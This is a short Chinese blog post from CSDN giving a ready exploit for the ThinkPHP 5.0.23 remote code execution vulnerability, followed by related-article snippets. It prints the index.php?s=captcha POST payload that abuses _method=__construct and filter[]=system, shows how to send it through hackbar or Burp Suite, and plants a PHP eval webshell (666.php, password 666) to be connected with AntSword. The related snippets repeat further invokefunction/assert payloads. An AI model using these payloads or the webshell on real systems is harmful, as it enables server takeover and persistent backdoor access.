ThinkPHP5.0.23 远程代码执行漏洞

最新推荐文章于 2023-10-13 18:39:05 发布
最新推荐文章于 2023-10-13 18:39:05 发布
阅读量1.8k 收藏 4
点赞数 1
分类专栏： exp 文章标签： 安全 web安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_37571914/article/details/127119204
版权

ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中，获取 method 的方法中没有正确处理方法名，导致攻击者可以调用 Request 类任意方法并构造利用链，从而导致远程代码执行漏洞。
在这里插入图片描述
百度漏洞
在这里插入图片描述
获得exp
路径：

index.php?s=captcha

POST传参 我用的是hackbar，用burpsuite也行。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=

在这里插入图片描述
burp操作方法
抓包 右键改为post请求
在这里插入图片描述
exp如下图所示填入
在这里插入图片描述
在这里插入图片描述
写入一句话

echo '<?php eval($_POST[666]); ?>' > 666.php   #密码666

上蚁剑
在这里插入图片描述
在这里插入图片描述

夜星空如海
关注
  • 1
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
thinkphp5.0.23漏洞复现以及脚本编写
weixin_45653478的博客
04-26 808
ThinkPHP5.0.23漏洞主要涉及远程代码执行（RCE）的安全隐患。这一漏洞的存在是因为ThinkPHP框架在底层对控制器名的过滤不够严格，导致攻击者有可能通过特定的URL构造，调用到框架内部的敏感函数，进而执行任意命令。
记录一次vulhub:ThinkPHP5 5.0.23远程代码执行漏洞复现
sszsNo1的博客
06-26 280
复现vulhub：ThinkPHP5 5.0.23远程代码执行漏洞
Thinkphp5.0.23-rce漏洞复现
qq_64875725的博客
06-02 2383
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。: 'GET';} elseif (!} else {
vulhub thinkphp5 5.0.23 远程代码执行漏洞
weixin_53696027的博客
03-15 718
vulhub thinkphp5 5.0.23 远程代码执行漏洞
Thinkphp5.0.23远程代码执行漏洞
最新发布
hovcfuti的博客
10-13 297
漏洞简介Thinkphp5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。影响版本漏洞复现在vulhub里面拉取靶场访问可以使用burp suite抓包，也可以使用hackbar浏览器插件，总之可以发post请求包就好请求文件：/index.php?
Thiinkphp 5.0.23-rce 漏洞复现（vulhub）
MDSEC的博客
08-22 289
形成原因是因为其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。这样thinkphp 5.0.23-rce漏洞就复现完成了。2>.bp抓包修改post请求，传递参数。响应包状态码为500，但是可以访问页面。访问8080端口的本机地址。尝试写入phpinfo。
ThinkPHP 5.0 远程代码执行漏洞分析
02-21
ThinkPHP 5.0 远程代码执行漏洞分析
漏洞通告ThinkPHP远程代码执行漏洞
05-05
【漏洞通告】ThinkPHP远程代码执行漏洞
ThinkPHP 5.0.0_5.0.23 RCE 漏洞分析1
08-03
然而，在 ThinkPHP 5.0.0 到 5.0.23 版本中存在一个 Remote Code Execution（RCE）漏洞，该漏洞允许攻击者在服务器上执行任意代码。 该漏洞是由于 ThinkPHP 的路由机制存在缺陷，攻击者可以通过构造特殊的 URL 来...
thinkphp5远程执行代码漏洞修复补丁.zip
04-17
thinkphp5远程执行代码漏洞修复补丁
ThinkPHP框架任意代码执行漏洞的利用及其修复方法
10-25
主要介绍了ThinkPHP框架任意代码执行漏洞的利用及其修复方法，该漏洞的修复对于广大使用ThinkPHP的开发人员来说尤为重要！需要的朋友可以参考下
thinkphp远程代码执行exp
07-29
thinkphp的远程代码执行漏洞的exp，版本通用，带检查，上传等功能。
thinkphp 远程代码执行漏洞poc
12-11
漏洞影响范围：v5.x < 5.1.31，<= 5.0.23 可以利用poc直接检测目标网站是否存在漏洞
ThinkPHP5.0.5完整版_ThinkPHP_full_v5.0.5
02-24
ThinkPHP5.0.5完整版_ThinkPHP_full_v5.0.5 欢迎关注PHP学习博客：http://blog.csdn.net/column/details/14209.html
ThinkPHP5远程命令执行漏洞
qq_45314073的博客
09-20 1994
thinkPHP5漏洞复现
ThinkPHP5 5.0.23 远程代码执行漏洞
EC_Carrot的博客
08-17 319
漏洞简介 ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。 漏洞复现 发送如下数据包即可执行id命令： POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: M
[ 网络安全]MPHP(ThinkPHPV5.0.23原理刨析)漏洞利用工具
03-03 943
ThinkPHPV5.0.23漏洞利用工具
ThinkPHP 5.0.0-5.0.23 远程代码执行漏洞利用
weixin_30617797的博客
07-20 4210
漏洞影响范围: 5.0.0-5.0.23 官方已在5.0.24版本修复该漏洞。测试Payload： /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() /index.php?s=inde...
thinkphp5.0.23 远程代码执行复现
qq_38807738的博客
02-08 7056
漏洞影响版本5.0.23之前的版本 我使用的是vulhub下提供的漏洞环境，如何使用自行百度谷歌。 装好后打开网站如下   使用如下poc，即可实现远程代码执行 POST /index.php?s=captcha HTTP/1.1 Host: 你的id User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Ge...
thinkphp5.0.23rce漏洞复现
09-22
漏洞的形成原因是在获取method的方法中未正确处理方法名，导致攻击者可以调用Request类的任意方法并构造利用链，从而导致远程代码执行漏洞。具体的漏洞利用过程如下： 1. 访问靶机地址和端口号，进入首页。 2. 使用...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值